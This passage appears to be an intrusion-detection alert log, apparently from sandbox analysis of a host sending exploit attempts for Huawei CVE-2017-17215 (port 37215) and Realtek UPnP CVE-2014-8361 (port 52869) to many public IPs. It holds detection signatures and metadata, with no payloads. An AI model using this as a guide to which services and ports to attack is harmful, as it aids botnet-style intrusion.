Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 152.142.62.185

Timestamp:	07/20/24-23:01:06.975117
SID:	2829579
Source Port:	54958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.91.194.150

Timestamp:	07/20/24-23:01:44.358680
SID:	2027339
Source Port:	40212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.229.180.34

Timestamp:	07/20/24-23:01:42.608153
SID:	2025132
Source Port:	40144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.227.37.208

Timestamp:	07/20/24-23:01:02.055683
SID:	2835222
Source Port:	34462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.104.194

Timestamp:	07/20/24-23:01:02.045831
SID:	2829579
Source Port:	45764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.219.50.159

Timestamp:	07/20/24-23:01:42.719940
SID:	2831300
Source Port:	50692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.34.215.18

Timestamp:	07/20/24-23:01:44.922746
SID:	2027339
Source Port:	36258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 66.67.190.136

Timestamp:	07/20/24-23:01:27.660099
SID:	2829579
Source Port:	56250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.131.100.211

Timestamp:	07/20/24-23:01:44.971718
SID:	2027339
Source Port:	44830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.135.187.127

Timestamp:	07/20/24-23:01:56.287639
SID:	2025132
Source Port:	38582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.196.10.52

Timestamp:	07/20/24-23:01:42.985200
SID:	2025132
Source Port:	45994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.42.36.143

Timestamp:	07/20/24-23:01:48.322055
SID:	2027339
Source Port:	42282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.236.42.147

Timestamp:	07/20/24-23:01:08.639622
SID:	2027339
Source Port:	50874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.108.55.229

Timestamp:	07/20/24-23:01:11.660067
SID:	2835222
Source Port:	52356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.117.210.216

Timestamp:	07/20/24-23:01:47.614619
SID:	2027339
Source Port:	59020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.109.59.232

Timestamp:	07/20/24-23:01:49.167711
SID:	2027339
Source Port:	39028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.20.2

Timestamp:	07/20/24-23:01:00.634165
SID:	2835222
Source Port:	34358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.37.182.204

Timestamp:	07/20/24-23:01:04.098909
SID:	2829579
Source Port:	42308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.244.29.112

Timestamp:	07/20/24-23:01:46.444461
SID:	2027339
Source Port:	47526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.0.98.90

Timestamp:	07/20/24-23:01:08.639622
SID:	2027339
Source Port:	35924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.217.14.87

Timestamp:	07/20/24-23:01:54.901420
SID:	2027339
Source Port:	44428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.156.124.10

Timestamp:	07/20/24-23:01:42.479337
SID:	2831300
Source Port:	45740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.12.241

Timestamp:	07/20/24-23:00:59.161892
SID:	2829579
Source Port:	35634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.103.118.184

Timestamp:	07/20/24-23:01:00.641803
SID:	2835222
Source Port:	47982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.160.194.136

Timestamp:	07/20/24-23:01:08.623583
SID:	2027339
Source Port:	35502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.129.229.179

Timestamp:	07/20/24-23:01:04.192511
SID:	2027339
Source Port:	58484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.138.8.92

Timestamp:	07/20/24-23:01:43.224525
SID:	2027339
Source Port:	51680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.148.56.97

Timestamp:	07/20/24-23:01:54.787983
SID:	2831300
Source Port:	47580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.177.22.97

Timestamp:	07/20/24-23:01:56.353592
SID:	2025132
Source Port:	39768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 27.153.202.8

Timestamp:	07/20/24-23:01:21.943544
SID:	2835222
Source Port:	56038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.35.187.229

Timestamp:	07/20/24-23:01:51.213578
SID:	2027339
Source Port:	41160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.250.20.58

Timestamp:	07/20/24-23:01:01.852700
SID:	2025132
Source Port:	50044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 32.245.170.235

Timestamp:	07/20/24-23:01:04.240033
SID:	2829579
Source Port:	58496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 187.11.252.34

Timestamp:	07/20/24-23:01:40.336908
SID:	2835222
Source Port:	36250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.206.63.145

Timestamp:	07/20/24-23:01:11.630572
SID:	2829579
Source Port:	53720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.97.74.140

Timestamp:	07/20/24-23:01:08.691384
SID:	2027339
Source Port:	51458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.82.97.31

Timestamp:	07/20/24-23:01:51.266026
SID:	2831300
Source Port:	50320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 128.128.73.171

Timestamp:	07/20/24-23:01:43.659105
SID:	2831300
Source Port:	43892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.66.196.35

Timestamp:	07/20/24-23:01:49.231608
SID:	2831300
Source Port:	45954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 177.64.16.178

Timestamp:	07/20/24-23:01:43.586276
SID:	2831300
Source Port:	32882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.63.105.168

Timestamp:	07/20/24-23:01:08.575986
SID:	2831300
Source Port:	57642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.191.35.155

Timestamp:	07/20/24-23:01:46.261026
SID:	2025132
Source Port:	38576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.86.195.181

Timestamp:	07/20/24-23:01:55.797133
SID:	2027339
Source Port:	55262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.233.35.58

Timestamp:	07/20/24-23:01:53.923127
SID:	2025132
Source Port:	46216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.55.136.220

Timestamp:	07/20/24-23:02:15.054105
SID:	2027339
Source Port:	56492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.100.161

Timestamp:	07/20/24-23:01:06.989167
SID:	2829579
Source Port:	54882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 8.134.141.9

Timestamp:	07/20/24-23:01:31.981855
SID:	2835222
Source Port:	53838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 84.123.73.220

Timestamp:	07/20/24-23:02:17.231770
SID:	2831300
Source Port:	47788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.53.250.191

Timestamp:	07/20/24-23:01:42.115778
SID:	2027339
Source Port:	59720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.20.150.72

Timestamp:	07/20/24-23:01:44.589820
SID:	2027339
Source Port:	55584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.146.19.98

Timestamp:	07/20/24-23:01:42.677933
SID:	2831300
Source Port:	37062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.243.7.84

Timestamp:	07/20/24-23:01:00.633385
SID:	2835222
Source Port:	55384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.45.252.241

Timestamp:	07/20/24-23:01:14.105395
SID:	2835222
Source Port:	42602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 177.220.208.210

Timestamp:	07/20/24-23:01:49.743796
SID:	2831300
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.3.106

Timestamp:	07/20/24-23:01:02.046626
SID:	2835222
Source Port:	42854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.163.36.247

Timestamp:	07/20/24-23:01:20.149798
SID:	2829579
Source Port:	58456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.231.87.4

Timestamp:	07/20/24-23:01:43.669446
SID:	2025132
Source Port:	47742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.62.189.35

Timestamp:	07/20/24-23:01:11.639230
SID:	2835222
Source Port:	38990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.214.48.137

Timestamp:	07/20/24-23:01:46.495508
SID:	2027339
Source Port:	44590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.179.108

Timestamp:	07/20/24-23:01:27.655551
SID:	2835222
Source Port:	52540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.183.225.201

Timestamp:	07/20/24-23:01:50.176893
SID:	2027339
Source Port:	36354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.69.50.199

Timestamp:	07/20/24-23:02:04.748522
SID:	2027339
Source Port:	47778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.209.32

Timestamp:	07/20/24-23:01:34.043865
SID:	2835222
Source Port:	48550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.193.81.146

Timestamp:	07/20/24-23:01:02.359782
SID:	2027339
Source Port:	57764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 92.168.171.93

Timestamp:	07/20/24-23:01:11.827498
SID:	2829579
Source Port:	52512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.66.162.186

Timestamp:	07/20/24-23:01:41.620386
SID:	2831300
Source Port:	50282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.99.150.220

Timestamp:	07/20/24-23:01:03.439543
SID:	2027339
Source Port:	44954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.185.104.236

Timestamp:	07/20/24-23:01:25.766611
SID:	2027339
Source Port:	51032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.105.221.242

Timestamp:	07/20/24-23:01:44.210939
SID:	2831300
Source Port:	47266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.119.229.116

Timestamp:	07/20/24-23:01:52.144379
SID:	2027339
Source Port:	58952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.17.179.230

Timestamp:	07/20/24-23:01:41.343266
SID:	2027339
Source Port:	54936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.180.222.83

Timestamp:	07/20/24-23:01:51.833558
SID:	2027339
Source Port:	34832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.217.197.57

Timestamp:	07/20/24-23:02:01.357047
SID:	2027339
Source Port:	49068
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.76.102.214

Timestamp:	07/20/24-23:01:10.491660
SID:	2025132
Source Port:	39696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.175.201.8

Timestamp:	07/20/24-23:02:01.964831
SID:	2027339
Source Port:	35084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.148.233.46

Timestamp:	07/20/24-23:01:47.893677
SID:	2027339
Source Port:	34106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.149.48.241

Timestamp:	07/20/24-23:01:40.286738
SID:	2835222
Source Port:	54904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.181.181.97

Timestamp:	07/20/24-23:01:31.982478
SID:	2835222
Source Port:	46772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.12.65.53

Timestamp:	07/20/24-23:01:58.208327
SID:	2027339
Source Port:	50512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.61.177.250

Timestamp:	07/20/24-23:01:20.181938
SID:	2829579
Source Port:	46510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.25.5

Timestamp:	07/20/24-23:00:57.222254
SID:	2829579
Source Port:	34142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.172.112.67

Timestamp:	07/20/24-23:01:34.044717
SID:	2835222
Source Port:	46162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 51.131.43.210

Timestamp:	07/20/24-23:01:49.198416
SID:	2831300
Source Port:	33032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.13.249.251

Timestamp:	07/20/24-23:01:04.058922
SID:	2829579
Source Port:	42978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.164.36.164

Timestamp:	07/20/24-23:01:43.180913
SID:	2027339
Source Port:	53382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 46.50.151.45

Timestamp:	07/20/24-23:01:51.220119
SID:	2831300
Source Port:	35088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.153.158.217

Timestamp:	07/20/24-23:02:07.236630
SID:	2025132
Source Port:	37638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.12.218.135

Timestamp:	07/20/24-23:01:56.510714
SID:	2027339
Source Port:	40700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.87.191.244

Timestamp:	07/20/24-23:01:25.517399
SID:	2025132
Source Port:	50900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.55.180.198

Timestamp:	07/20/24-23:01:08.919725
SID:	2831300
Source Port:	46758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.142.123.212

Timestamp:	07/20/24-23:01:57.688478
SID:	2027339
Source Port:	60970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.75.31.114

Timestamp:	07/20/24-23:01:49.946258
SID:	2027339
Source Port:	42936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.41.38.224

Timestamp:	07/20/24-23:01:50.085627
SID:	2027339
Source Port:	52618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 81.48.180.48

Timestamp:	07/20/24-23:01:46.556921
SID:	2831300
Source Port:	56592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.88.251.194

Timestamp:	07/20/24-23:02:26.420170
SID:	2025132
Source Port:	44598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.116.47.253

Timestamp:	07/20/24-23:01:58.821906
SID:	2027339
Source Port:	51208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.227.232.27

Timestamp:	07/20/24-23:01:41.249014
SID:	2025132
Source Port:	58350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.206.219.37

Timestamp:	07/20/24-23:02:06.453402
SID:	2025132
Source Port:	34724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.170.42.160

Timestamp:	07/20/24-23:01:43.206219
SID:	2025132
Source Port:	54166
Destination Port:	52869
Protocol:	TCP
